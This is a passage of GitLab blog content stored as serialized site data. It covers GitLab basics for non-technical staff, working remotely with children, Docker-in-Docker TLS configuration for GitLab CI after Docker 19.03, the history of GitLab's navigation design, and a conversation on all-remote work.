and I certainly had never owned a laptop with Docker on it.\n\nIf you’re like me, fear not. Here’s everything you need to know to jump right in.\n\n## It’s an issue\n\nLet’s start with the thing that confused me the most in the first weeks – issues. An [issue](/handbook/communication/#issues) is something you create if you want to start an initiative, or simply keep track of an idea. Derived from the software development space (obviously), it’s like the starting point in any work-related conversation. Have a great idea for a new GitLab feature? Open an issue. Have an idea for a marketing campaign? Start an issue. Anyone can chime in on your issue and it becomes a place to not only have a conversation but also to keep track of the conversation. At GitLab we call all that “chiming in” collaboration. [Collaboration](https://handbook.gitlab.com/handbook/values/#collaboration) is central to the company’s culture and our mission [“everyone can contribute.”](/blog/how-do-you-contribute/) Issues are sort of the file folders we store all that collaboration in. (And, because you might hear this term and wonder about it, as I did...an [“epic”](https://docs.gitlab.com/ee/user/group/epics/) is a collection of related issues, sort of how a filing cabinet holds file folders, to use a very old school analogy.)\n\n## Lanes merge ahead\n\nA [merge request](/handbook/communication/#start-with-a-merge-request) is a formalized way to request something (usually in the [GitLab handbook](/handbook/) or [blog](/blog/)) be created or changed. Creating a merge request triggers GitLab.com to rebuild the entire website (which is both cool and sort of scary the first few times you do it). When you submit a merge request you’ll get a message that says the pipeline is running, meaning the process of rebuilding the entire website has begun. That’s not a small undertaking, so it can take 15 minutes, or more, for your merge request to go through. If it does go through, you’ll get a message that says “passed with warnings!” Ignore the “warnings” – builds always pass with warnings. These warnings are usually not relevant if you're not contributing code. The key thing is it passed. (Speaking from personal experience, refreshing the page or simply staring at the “pipeline running” message doesn’t actually make it go faster.)\n\nNotice the term is merge *request.* That means once it’s passed you’ll need to ask someone who has magical merging powers to actually merge it (usually your manager). You do that by assigning the request to them (top right of the MR form) and leaving them a comment asking them to do so.\n\n## All aboard\n\nYou’ll get a big [onboarding](/handbook/people-group/general-onboarding/) issue on day one. Do not panic. Take your time. And realize that some of what you’re doing will only make sense in a month, or even a few months (like all that time I spent downloading Git).\n\nMost of the onboarding tasks are very straightforward and helpful. But ultimately you’ll have to add yourself to the [team page](/company/team/), creating your first merge request in the process. Anything involving the team page can be very tricky because it is based on `.yml` files (cranky, touchy things that are pronounced a little like the vegetable, “yaml”) so do not be afraid to ask for help. The #mr-buddies, #git-help, or #questions channels in Slack can be great resources. You’ll want to remember to use “command F” to search through the hundreds of files on the team page to find your entry.\n\nDon’t worry – no matter how much of a struggle it is to add yourself to the team page, you’re unlikely to actually “break” anything on [about.gitlab.com](/). (I’ll freely admit it took me *several days* to accomplish this one task… )\n\n## Communication\n\nIn an all-remote company, communication is vital. But *how* to communicate at GitLab doesn’t necessarily come naturally to someone like me who came from an email and phone call culture. Our communication methods are [spelled out in the handbook](/handbook/communication/#introduction), but here’s the quick version: You want to communicate primarily within GitLab. That means within an issue – tag someone with their GitLab “handle” (@vsilverthorne as an example) – in the discussion box. Or the same thing can happen in a merge request. Whoever you tag will get a notification in their To-do list on GitLab, and may also be notified via email. But speaking as someone who’s been pointed in the right direction after using Slack or email instead of GitLab, trust me when I say _within_ GitLab is the first and best way to communicate.\n\nIf it’s urgent, [Slack](/handbook/communication/#slack) can be a good choice. Slack is also a great place to ask questions, chit-chat with colleagues and/or share common interests. GitLab has lots of groups on Slack for everything from crafty people to gardeners. Email is the last choice because much of the company checks it only occasionally.\n\n## Meetup IRL or virtually\n\nThe [video call on Zoom](/handbook/communication/#video-calls) is another key GitLab practice and although I was a little skeptical it could be more effective than a phone call, I’m now a convert. Not only do you get to know people better because you can see them, the ability to screen share is invaluable, particularly when you’re learning something new. I never feel “camera ready” though, so if you feel that way, you’re far from alone. Luckily, there is a function on Zoom called \"Touch up my appearance.\" It's like FaceTune for the workplace instead of Instagram. Just go into Zoom>Preferences>Video and under My Video check \"Touch up my appearance.\" This way your dark circles won't be making an appearance in the latest video on [GitLab Unfiltered](https://www.youtube.com/channel/UCMtZ0sc1HHNtGGWZFDRTh5A).\n\nIf meetups are possible in real life, I’d suggest those too. At an all-remote company you do have to put time and energy into feeling like you’re part of the team.\n\nAre there other challenges you’ve encountered when you were brand new to GitLab that would have been helped by a clearer or more detailed explanation? Let us know and we’ll update this blog post (and the handbook).\n\nCover image by [Charlotte Karlsen](https://unsplash.com/@charlottemsk?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com)\n{: .note}\n",[676,1067,3798],{"slug":28219,"featured":6,"template":678},"gitlab-for-the-non-technical","content:en-us:blog:gitlab-for-the-non-technical.yml","Gitlab For The Non Technical","en-us/blog/gitlab-for-the-non-technical.yml","en-us/blog/gitlab-for-the-non-technical",{"_path":28225,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28226,"content":28231,"config":28236,"_id":28238,"_type":16,"title":28239,"_source":17,"_file":28240,"_stem":28241,"_extension":20},"/en-us/blog/working-remotely-with-children-at-home",{"title":28227,"description":28228,"ogTitle":28227,"ogDescription":28228,"noIndex":6,"ogImage":28117,"ogUrl":28229,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28229,"schema":28230},"How to make your home a space that works with kids","Here's our best advice on making your home/work space work for you and your kids.","https://about.gitlab.com/blog/working-remotely-with-children-at-home","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to make your home a space that works with kids\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sean McGivern\"}],\n        \"datePublished\": \"2019-08-01\",\n      }",{"title":28227,"description":28228,"authors":28232,"heroImage":28117,"date":28233,"body":28234,"category":6634,"tags":28235},[20267],"2019-08-01","\n\n_In part three of our series on working remotely with children we look at how GitLab\nteam members literally make their homes work for them while children are around.\nIn part one of our series we examined [maternity/paternity leave polices around\nthe world](/blog/how-is-it-being-a-new-mom-working-for-gitlab/) and in part two Jarka Košanová shared her experiences while\n[working as a new mother](/blog/balancing-career-and-baby/)._\n\nAt [GitLab Contribute 2019](/blog/contribute-wrap-up/) in New Orleans,\nwe had an unconference\nsession about working remotely with children at home. The\nfacilitators were [Lyle Kozloff][lyle] and myself, [Sean\nMcGivern][smcgivern]. Not surprisingly, the four sessions generated a lot of good ideas.\nThe participants had all ages of children from\n'not yet, but thinking about it' to older teenagers. They also worked in\ndifferent functions at GitLab and had different tenures – some people\nhad been at GitLab for years while others had just joined the week of\nContribute. And others were community contributors or partners of GitLab team members.\n\nNo conversation about working at home with kids can fail to include ideas about how\nto structure the space. To make it all work, it's important to be creative.\n\n## Make use of what's available\n\n> I'd never had a remote job before and I didn't realize just how loud my daughter was.\nI got a noise-cancelling microphone because my daughter is in the next room to me. – [_Désirée Chevalier, test automation engineer_][dchevalier2]\n\n> I have an open-plan kitchen/dining/living room, which looks nice, but with my kids around\nit's pretty much impossible to work from any of these areas. I'm planning to try making the\nloft \"the office,\" but I haven't done it yet. – [_Marcel Amirault, technical writer_][Ravlen]\n\nIf you don't have a large house or apartment, you might need to think outside\nthe box when it comes to managing your space. And things can change again as your\nchildren age or if you have more children. Even having a room solely\nfor work might come with some additional challenges!\n\n## Designate spaces clearly\n\n> We have a one-bedroom apartment and I mostly work in the living room. When I take\ncalls I go into the bedroom. We involved the kids in the planning about communication.\nThe bedroom door has a sign with an X or an O on it. If there's an O they can come in, grab\nsomething, and close the door behind them. If there's an X they can't come in for any reason.\nWhen we moved in my son was still three, and it worked for the later stages of three –\nespecially because he was involved. – [_Lyle Kozloff, support engineering manager_][lyle]\n\n![Minimum Viable Product for indicating space usage](https://about.gitlab.com/images/blogimages/mvp-presence-signs.jpg){: .shadow.medium.center}\nHow one team member communicates whether or not he can be interrupted.\n{: .note.text-center}\n\nIf you need to be uninterrupted, it's important that that is very clear\nto everyone else – especially the children. Having a dedicated space is\ngreat, but even a shared space can be turned into a dedicated space for\nsome of the time before becoming a shared space again later.\n\n## Get out of the house if you need to\n\n> I find it better to set boundaries ahead of time instead of reacting to things that are happening.\nFour or five times a month I will work from a coffee shop to help enforce that too. – [_Mike Greiling,\nsenior frontend engineer_][mikegreiling]\n\n> I used to have a dedicated room then it became my son's room. Then I moved to the\nentrance hallway, because it's big and there was room for a desk. I tried it for one year, but\nmy wife and child were always coming past. I've started going to a coworking space. It feels\nlike a failure because I don't stay home, but it works best for us. – [_Alessio Caiazza, senior backend engineer_][nolith]\n\nThis is not a failure at all! Everyone has to do what they need to do for their\nown circumstances. [Working remotely doesn't necessarily mean working from\nhome](/company/culture/all-remote/#what-all-remote-does-not-mean), and stressed\nparents are not going to be able to be at their best.\n\n_In part four of our series we have advice on everything from time management to relationships._\n\n[dchevalier2]: /company/team/#dchevalier2\n[lyle]: /company/team/#lkozloff\n[mikegreiling]: /company/team/#mikegreiling\n[nolith]: /company/team/#nolith\n[Ravlen]: /company/team/#ravlen1\n[smcgivern]: /company/team/#mcgivernsa\n\nPhoto by [Baby Natur](https://unsplash.com/@babynatur?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/kids-toys?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[3798,7715,676],{"slug":28237,"featured":6,"template":678},"working-remotely-with-children-at-home","content:en-us:blog:working-remotely-with-children-at-home.yml","Working Remotely With Children At Home","en-us/blog/working-remotely-with-children-at-home.yml","en-us/blog/working-remotely-with-children-at-home",{"_path":28243,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28244,"content":28249,"config":28254,"_id":28256,"_type":16,"title":28257,"_source":17,"_file":28258,"_stem":28259,"_extension":20},"/en-us/blog/docker-in-docker-with-docker-19-dot-03",{"title":28245,"description":28246,"ogTitle":28245,"ogDescription":28246,"noIndex":6,"ogImage":12013,"ogUrl":28247,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28247,"schema":28248},"Update: Changes to GitLab CI/CD and Docker in Docker with Docker 19.03","If you are using the Docker in Docker workflow you may need to enable TLS or explicitly turn it off.","https://about.gitlab.com/blog/docker-in-docker-with-docker-19-dot-03","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Update: Changes to GitLab CI/CD and Docker in Docker with Docker 19.03\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Steve Azzopardi\"}],\n        \"datePublished\": \"2019-07-31\",\n      }",{"title":28245,"description":28246,"authors":28250,"heroImage":12013,"date":28251,"body":28252,"category":736,"tags":28253},[13361],"2019-07-31","\n\nLast week Docker released a new version,\n[19.03](https://docs.docker.com/engine/release-notes/#19030), which\nbrings a few exciting features with it.\n\nOne of the features affects GitLab CI/CD when using the [Docker in Docker\nworkflow](https://docs.gitlab.com/ee/ci/docker/using_docker_build.html#use-docker-in-docker-executor).\nAs of version 19.03, [`docker:dind`](https://hub.docker.com/_/docker)\nwill automatically generate TLS certificates and require using them for\ncommunication. This is from [Docker's official\ndocumentation](https://hub.docker.com/_/docker#tls):\n\n> Starting in 18.09+, the dind variants of this image will automatically generate TLS certificates in the directory specified by the DOCKER_TLS_CERTDIR environment variable.\n> Warning: in 18.09, this behavior is disabled by default (for compatibility). If you use --network=host, shared network namespaces (as in Kubernetes pods), or otherwise have network access to the container (including containers started within the dind instance via their gateway interface), this is a potential security issue (which can lead to access to the host system, for example). It is recommended to enable TLS by setting the variable to an appropriate value (-e DOCKER_TLS_CERTDIR=/certs or similar). In 19.03+, this behavior is enabled by default.\n\nWhen you upgrade to 19.03 (which is done automatically if using\n`docker:dind`) you may start seeing an issue like:\n\n```\ndocker: Cannot connect to the Docker daemon at tcp://docker:2375. Is the docker daemon running?.\n```\n\nTo fix the problem above you have two options:\n\n1. Configure [GitLab Runner](https://docs.gitlab.com/runner/) to use TLS.\n1. Explicitly turn off TLS.\n\nThe shared Runners available on GitLab.com support both workflows, which\nare described in detail below.\n\nYou may notice that we are now also suggesting a specific version such as\n`docker:19.03.0-dind` and not `docker:dind`. This is to help prevent users'\njobs randomly failing when a new update comes out.\n\n## Configure TLS\n\nSince the service `docker:dind` will create the certificates, we need to\nhave the certificate shared between the service and the job container.\nTo do this we have to add a mount inside of the\n[volumes](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runnersdocker-section)\nunder the `[runners.docker]` section.\n\nFor example:\n\n```toml\n[[runners]]\n  name = \"My Docker Runner\"\n  url = \"http://gitlab.com\"\n  token = \"\"\n  executor = \"docker\"\n  [runners.custom_build_dir]\n  [runners.docker]\n    privileged = true\n    volumes = [\"/certs/client\", \"/cache\"]\n    shm_size = 0\n```\n\nIf you're a GitLab.com user, we've already done the config change above for you on the\nShared Runners.\n\nAlso, update `.gitlab-ci.yml` accordingly to specify the\n`DOCKER_TLS_CERTDIR`\n\n```yml\nimage: docker:19.03.0\n\nvariables:\n  DOCKER_DRIVER: overlay2\n  # Create the certificates inside this directory for both the server\n  # and client. The certificates used by the client will be created in\n  # /certs/client so we only need to share this directory with the\n  # volume mount in `config.toml`.\n  DOCKER_TLS_CERTDIR: \"/certs\"\n\nservices:\n  - docker:19.03.0-dind\n\nbefore_script:\n  - docker info\n\nbuild:\n  stage: build\n  script:\n    - docker build -t my-docker-image .\n    - docker run my-docker-image /script/to/run/tests\n```\n\n## Disable TLS\n\nYou might not have access to update the volume mounting inside of the\n`config.toml`, so the only option is to disable TLS. You can do this by\nsetting the environment variable `DOCKER_TLS_CERTDIR` to an empty value.\n\nFor GitLab.com Shared Runners users this is done already using the\n[environment settings](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section),\nwhich works the same way.\n\n```yml\nimage: docker:19.03.0\n\nvariables:\n  DOCKER_DRIVER: overlay2\n  DOCKER_TLS_CERTDIR: \"\"\n\nservices:\n  - docker:19.03.0-dind\n\nbefore_script:\n  - docker info\n\nbuild:\n  stage: build\n  script:\n    - docker build -t my-docker-image .\n    - docker run my-docker-image /script/to/run/tests\n```\n\nWe would like to thank the rest of the community with all the feedback\nand help throughout\n[#4501](https://gitlab.com/gitlab-org/gitlab-runner/issues/4501).\n\n",[774,110],{"slug":28255,"featured":6,"template":678},"docker-in-docker-with-docker-19-dot-03","content:en-us:blog:docker-in-docker-with-docker-19-dot-03.yml","Docker In Docker With Docker 19 Dot 03","en-us/blog/docker-in-docker-with-docker-19-dot-03.yml","en-us/blog/docker-in-docker-with-docker-19-dot-03",{"_path":28261,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28262,"content":28268,"config":28273,"_id":28275,"_type":16,"title":28276,"_source":17,"_file":28277,"_stem":28278,"_extension":20},"/en-us/blog/navigation-state-of-play",{"title":28263,"description":28264,"ogTitle":28263,"ogDescription":28264,"noIndex":6,"ogImage":28265,"ogUrl":28266,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28266,"schema":28267},"Explore the past, present, and future of GitLab's Navigation design","Dive into the history of GitLab's navigation design and learn how GitLab's UX department is making incremental improvements.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678236/Blog/Hero%20Images/navigation.jpg","https://about.gitlab.com/blog/navigation-state-of-play","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Explore the past, present, and future of GitLab's Navigation design\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Katherine Okpara\"}],\n        \"datePublished\": \"2019-07-31\",\n      }",{"title":28263,"description":28264,"authors":28269,"heroImage":28265,"date":28251,"body":28271,"category":8943,"tags":28272},[28270],"Katherine Okpara","\nAs a UX department, we are responsible for creating navigational structures that are intuitive,\nin tune with user needs, and representative of the numerous workflows of our community of users.\nHowever, when designing for the needs of so many different people, we often have to make compromises\nand not everyone is pleased with the result. Navigation is not just about getting from point A to\nB; it can shape workflows, empower users to discover new, more efficient ways of working, and\nultimately determine how comfortable users are with a product. From the moment users log in for\nthe first time to when they start diving deeper into GitLab’s diverse feature set, our navigation\nstructure is critical for shaping the user's path and, ultimately, their success in using GitLab.\n\n### Why does this matter?\nOur UX Research team is always concerned with investigating and advocating for the needs of all\nGitLab users. We have a [history of research](https://gitlab.com/gitlab-org/uxr_insights/blob/master/Navigation-Research-Summary.md)\nthat has resulted in incremental improvements to GitLab’s navigation over time. After gathering\nfeedback from many sources over the years, we are excited to lead a strategic, dedicated\ninitiative to improve GitLab’s navigation. As part of this initiative, we will consider the\ngoals and frustrations of all users and assess the experiences shaped by the most common workflows\nthroughout GitLab. We will continue to gather feedback from our product users, customers, and\ninternal stakeholders as a way to identify key opportunities for improvement.\n\n### History of GitLab's navigation\nBefore we outline our future research and design plans, let’s take a look back and understand GitLab’s\nnavigation design journey.\n\n![Original design](https://i.imgur.com/9oZq3de.png){: .medium.center}\n\nGitLab's original design\n{: .note.text-center}\n\nThere are two ways to navigate throughout GitLab: globally and contextually. Global navigation refers\nto elements that are always available (e.g., browsing between groups and projects using the top navigation bar).\nContextual navigation refers to the elements that change based on the page a user is viewing.\nBalancing these levels of navigation has consistently been one of the top challenges in each\nphase of GitLab’s navigation design.\n\nIn a [June 2016 blog post describing the pain points that led to\nGitLab’s first navigation redesign](/blog/navigation-redesign/), [Dmitriy Zaporozhets](/company/team/#dzaporozhets),\nGitLab’s co-founder and engineering fellow, stated the following as reasons why GitLab’s UI did not\nwork very well:\n\n- *The current navigation is not well organized. There are places where it does not follow logic or best practices.*\n- *We cannot use muscle memory with the collapsed menu sidebar for fast click on links because the menu has too many items, with new ones added every once in a while.*\n- *It's hard to navigate when you come to GitLab via a link from another app (like chat, for example) because of the lack of a logical hierarchy in our UI navigation.*\n\nTo address these pain points, Dmitriy worked with GitLab’s UX designer to iterate through proposed\nchanges. They landed on a navigation design that introduced a dark-colored, collapsible left\nsidebar to house global navigation elements, along with a contextual top navigation that changed\nrelative to pages the user visited in GitLab.\n\n| Group-level navigation | Project-level navigation|\n|------------------------|-------------------------|\n|![Group level](https://i.imgur.com/HD7ElxQ.png){: .shadow}| ![Project level](https://i.imgur.com/w04Zq6D.png){: .shadow} |\n\nAfter this redesign, the team continued to iterate and make incremental changes to the navigation.\nThese changes became more significant when the option to “pin” (to the screen) or “unpin” the left\nsidebar was introduced. “Pinning” would keep the sidebar static while “unpinning” would remove\nit from the screen and place it under a hamburger menu icon. There were more unfavorable reactions\nto the changes after [GitLab’s 9.0 release](/releases/2017/03/22/gitlab-9-0-released/#updated-navigation-ce-ees-eep),\nwhen the [left sidebar was converted into a dropdown](https://gitlab.com/gitlab-org/gitlab-ce/issues/26200)\nfor all users, permanently placed in a hamburger menu at the far left of the top navigation bar.\n\n| \"Pinned\" | \"Unpinned\" |\n|----------|------------|\n| ![Pinned](https://i.imgur.com/IMYn45r.png){: .shadow} | ![Unpinned](https://i.imgur.com/Jag1HeG.png){: .shadow} |\n\nAfter receiving this feedback, our UX team conducted additional rounds of usability testing and [in\n2017 we made significant improvements to the navigation](/blog/redesigning-gitlabs-navigation/).\nThe decision to reorganize the structure of global and contextual content was one of the more prominent changes.\nGlobal navigation elements would now exist in the top navigation while contextual navigation elements\nwould exist in the left sidebar. These changes were first implemented behind a feature flag, to give\nusers a chance to try out the new flow and tell us how they felt about it. We created\na [feedback issue](https://gitlab.com/gitlab-org/gitlab-ce/issues/34917) so users could discuss\ntheir experiences and share their likes and dislikes in an open, collaborative space.\n\nThe feedback issue led to additional improvements and highlighted more opportunities to optimize\nGitLab’s navigation. Our design team used this feedback to iterate for two release cycles and\nidentify changes that would bring the most benefit, such as\n[flyout menus in the left sidebar](https://gitlab.com/gitlab-org/gitlab-ce/issues/34026)\nand [improvements to breadcrumbs](https://gitlab.com/gitlab-org/gitlab-ce/issues/35269).\nIn September 2017, [GitLab’s navigation redesign became official](/blog/unveiling-gitlabs-new-navigation/)\nand turned on for all users.\n\n![2017 redesign](https://i.imgur.com/ovRRBwE.png){: .shadow.medium.center}\n\nOur 2017 redesign\n{: .note.text-center}\n\nGitLab’s navigation design has not drastically changed since the 2017 redesign, aside\nfrom incremental changes made when adding new feature links to the left sidebar and the\nintroduction of instance-wide workflows. However, even with all of these notable improvements,\nsome users are still confused by finding their way around GitLab, especially when interacting\nwith the left sidebar. Many users have unique workflows based on the features they use, companies\nthey work with, and the amount of time they’ve been using GitLab. As a result, even design decisions\nthat are informed and supported by research can receive negative feedback from those who are\nimpacted by the changes.\n\nEven in 2019, our users describe usability issues that reflect the pain points described in our\nfirst navigation redesign blog post. Presently, a large portion of the pain points can be attributed to\nGitLab’s rapid growth and increased focus on\n[shipping features for the entire DevOps lifecycle](/stages-devops-lifecycle/). As the product\ncontinues to grow, users who only interact with specific features can become overwhelmed by all\nof the information and paths available in the interface. In order to avoid a future pattern\nof frequent changes to the navigation structure, we need to create a systematic approach for\naddressing the diverse use cases that come along with a rapidly growing product.\n\n### What we've learned\n\nThe outcome of all of the research we have conducted over the years is an understanding of the\ncore pain points and usability issues users face when navigating throughout GitLab. I believe that\nthe main themes of our research initiative should be **context** and **discoverability**.\n\n- **Context:** How can we help users maintain context and stay oriented while switching between levels\nof navigation and features in different product stages?\n\n- **Discoverability:** How can navigation be a method of promotion and discovery for new features\nwhile still preserving the findability of commonly used features?\n\nThese two themes are important for creating a systematic approach to organizing content in GitLab's UI.\nWe've had [internal discussions](https://gitlab.com/gitlab-org/ux-research/issues/108) around aligning\nGitLab's UI with [our DevOps stages](/handbook/product/categories/#devops-stages) to categorize\ncontent in a way that reflects the evolution of our product and organization. However, the findings\nfrom [a series of research studies](https://gitlab.com/groups/gitlab-org/-/epics/1236) cautioned us\nagainst moving in that direction, to prevent a negative impact on findability and confusion in users\nwho are not familiar with GitLab's DevOps stages.\n\nWhile it may be possible to teach users about the DevOps stages over time, the feedback from this\nresearch showed us that the additional layers of sub-navigation could make navigation a more\ncumbersome experience. Additionally, some of the names of the DevOps stages are broad and not\nimmediately descriptive (e.g., “Manage” and “Create”). This may require users to do more guesswork\nto understand the variety of features that could fall under each stage. Our upcoming research\ninitiative provides us with the opportunity to explore how we can build an intuitive, logical\nsystem for categorizing new features and guiding users through tasks that cross multiple product stages.\n\nTo read more about the key findings from our prior navigation research, please visit\nthe [UX research insights repository](https://gitlab.com/groups/gitlab-org/-/epics/1555) for a summary of\nour research.\n\n## What comes next?\nWe will investigate the paths that users take throughout GitLab and consider how we should balance\nthe needs of users who have contrasting team sizes, roles, and product tiers. Our goal is to find ways\nto align with the principle of [convention over configuration](/handbook/product/product-principles/#convention-over-configuration)\nwhile still addressing the diverse needs of our users. Please see\nthe [navigation research initiative epic](https://gitlab.com/groups/gitlab-org/-/epics/1342) for more information.\n\nThis research initiative will be conducted in the following phases:\n\n1. [Stakeholder interviews](https://gitlab.com/gitlab-org/ux-research/issues/211): Understand what\ninternal stakeholders need and expect from the flow of GitLab's navigation, feature discoverability,\nand usability.\n2. [User interviews](https://gitlab.com/gitlab-org/ux-research/issues/236): Gather insight from GitLab\ncustomers about their experiences navigating throughout GitLab, learning how to use the product, and\ndiscovering new features. Focus on use cases that cross\nmultiple DevOps stages.\n3. [Explore and assess key user journeys](https://gitlab.com/gitlab-org/ux-research/issues/221): Work with\nGitLab product designers to document the common paths and tasks\nour [user personas](/handbook/product/personas/#user-personas) complete,\nhighlighting usability issues and ranking them by severity.\n3. [Share UX research recommendations](https://gitlab.com/gitlab-org/ux-research/issues/222): Recommended\nchanges based on information architecture best practices and feedback from users and\nstakeholders. Share results with Product and UX teams, discuss solutions, and outline next steps.\n\n### We need your help!\nIf you could wave a magic wand, what would be your ideal vision for GitLab’s navigation?\n\nPlease share your top pain points, suggestions for improvement, or things you like about GitLab's\nnavigation design in the comments below!\n",[676,2249,2248],{"slug":28274,"featured":6,"template":678},"navigation-state-of-play","content:en-us:blog:navigation-state-of-play.yml","Navigation State Of Play","en-us/blog/navigation-state-of-play.yml","en-us/blog/navigation-state-of-play",{"_path":28280,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28281,"content":28287,"config":28291,"_id":28293,"_type":16,"title":28294,"_source":17,"_file":28295,"_stem":28296,"_extension":20},"/en-us/blog/pyb-all-remote-mark-frein",{"title":28282,"description":28283,"ogTitle":28282,"ogDescription":28283,"noIndex":6,"ogImage":28284,"ogUrl":28285,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28285,"schema":28286},"How being all-remote helps us practice our values at GitLab","GitLab CEO Sid Sijbrandij and Mark Frein of InVision talk about why all-remote is the future, and moving beyond 'But how do you know they're working?'","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680686/Blog/Hero%20Images/webcast-cover.png","https://about.gitlab.com/blog/pyb-all-remote-mark-frein","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How being all-remote helps us practice our values at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2019-07-31\",\n      }",{"title":28282,"description":28283,"authors":28288,"heroImage":28284,"date":28251,"body":28289,"category":6634,"tags":28290},[17272],"\n\nAll-remote workplaces like GitLab and InVision are disrupting the status quo by abandoning the office and creating a new model for the ideal workplace, and employees and employers are starting to catch on. GitLab CEO [Sid Sijbrandij](/company/team/#sytses) and [Mark Frein](https://www.linkedin.com/in/mark-frein-886148/), chief people officer at product design platform [InVision](https://www.invisionapp.com/), recently met to chat about the future of remote work, leadership in a distributed company, and the values that drive their work (and why [all-remote](/company/culture/all-remote/) isn’t one of them).\n\n## Build interpersonal relationships, digitally\n\nOn your first day at GitLab or InVision, you don’t walk up to the office, put on a smile, and find your desk. Instead, you sit on your desk chair, deck, or couch, open your laptop and connect using a suite of different technologies that provide a portal into your home.\n\n“I often say, ‘How often do you invite people into your home on day one when you're starting a new job?’” says Mark. “We are already inside your most personal space. We can see your bookcase, we can see things that are important to you, we can see your cat jumping on your lap, because animals always want to make sure they’re with you on important calls.”\n\nWhen a company empowers a distributed team to embrace the inevitable interruptions of doorbells ringing, phones buzzing, and demands from pets, children, and partners, you get to know your remote teammates better than if you shared an office. People are free to share more of themselves than if they were commuting from their homes to a common area.\n\nBy sharing your home, albeit digitally, with your colleagues, it is critical that your teammates show the same degree of humility and empathy for colleagues as they do for customers.\n\nAll-remote companies that are making hiring decisions ought to search for workers that are highly skilled in their areas of expertise, as well as in interpersonal communication. It is the active listeners, clear communicators, and willing collaborators that drive progress in all-remote companies, because these interpersonal skills allow teams to breach the digital divide and make lasting contributions to the company and product.\n\nLeadership in all-remote organizations must be similarly intentional. Managers do not have the benefit of serendipity at all-remote companies; instead, they must work harder to emotionally engage with the people they lead.\n\n## Technology is driving the all-remote movement\n\nThere are three primary communication channels that connect GitLab team members and InVision team members. “I think of our right and left hands as Zoom and Slack,” says Mark. At GitLab, we primarily use our own product, as well as Zoom and Slack to connect our distributed team.\n\nThe advent of these powerful communication tools is what helps all-remote companies like GitLab and InVision exist, and is a driving factor behind the movement for workplaces to go all-remote.\n\n“I think we're just at the beginning of this movement, and a lot of what's worked has been hacked together so far,” says Mark. “I think remote is going to last as long as the history of work, and it’s just in its infancy.”\n\nThinking back to 10 or 15 years ago, communication technologies first started being used in new and unique ways to mediate relationships. Mark points to the early days of online multiplayer game, World of Warcraft, as an example of serious all-remote gaming that helped condition us to using communication technology in collaborative ways. Just like WoW unlocked online massive multiplayer gaming, tools like Zoom unlock the potential of the all-remote workplace.\n\n## But wait, how do you know if they’re working?\n\nThere are many people from outside the all-remote world that remain incredulous about the idea of a distributed team. Both Sid and Mark are often asked the same questions about all-remote: \"How do you know that people are working?\"\n\n“I view these as old workplace, old economy questions,” says Mark. “Those are usually the least interesting questions.”\n\nThe framework that “work” is a lot of people in the building at the same time minimizes the focus on each individual contributor’s work product.\n\n“In many co-located companies, you can just show up and people will presume you’re working, but at GitLab we actually check your output and results,” says Sid.\n\nThere are also many people at co-located companies who will claim they value hiring the best people for the job, or that people are the heart of their organization, a statement largely incongruous with their practices, notes Sid.\n\n“You're saying people are the most important, but you limit your hiring to 1% of the world population? Then the people who are most important, you make them commute two hours of every day?” says Sid.\n\n## The drawbacks of part-remote\n\nIn response to the demand for greater flexibility in scheduling and workplaces, there are more co-located companies that are trying out remote teams or allowing a few remote work days a week or month. While this is generally a move in the right direction for greater employee autonomy, Mark and Sid have some skepticism about the effectiveness of this approach, because in each case there remains a single center of power.\n\n“I am still very much a skeptic around an organization that culturally is anchored in physicality bolting on remote capability,” says Mark. “I have not seen that work, which doesn't mean that it hasn't and I obviously haven't seen every organization out there, but in those cases there sare still real stretches of culture and behaviors when it comes to the haves and have-nots and the people who are in the center.”\n\nThere is intentionally no headquarters for GitLab or InVision, because by creating a physical room where it happens, there are certain advantages for the team members in the room, and disadvantages for those that are not.\n\nHistorically, GitLab’s company robot named Beamy, lived in the San Francisco boardroom, which is in Sid’s home in the city. Beamy was created as an exercise in [transparency](https://handbook.gitlab.com/handbook/values/#transparency), so every GitLab team member can see for themselves that there is no secret headquarters where decisions are made. “I’m just working from home like everyone else,” says Sid.\n\n## All-remote isn’t a value\n\nThe fixtures of GitLab’s company culture are our [values](https://handbook.gitlab.com/handbook/values/): collaboration, results, efficiency, Diversity, Inclusion & Belonging , and transparency. Everything in the company flows from those values, and while being all-remote is a distinguishing feature to our company, like InVision, we don’t really consider it to be a core value.\n\nDuring this part of the discussion, Sid, who is one of the rare people who can stay fully engaged in a conversation while also multitasking, added a section to our handbook, “[What is not a value](https://handbook.gitlab.com/handbook/values/#what-is-not-a-value),” which reads:\n\n“All remote isn't a value. It is something we do because it helps us practice our values of transparency, efficiency, Diversity, Inclusion & Belonging , and results.”\n\nWatch the full conversation between Sid and Mark on GitLab Unfiltered.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/IFBj9KQSQXA\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line 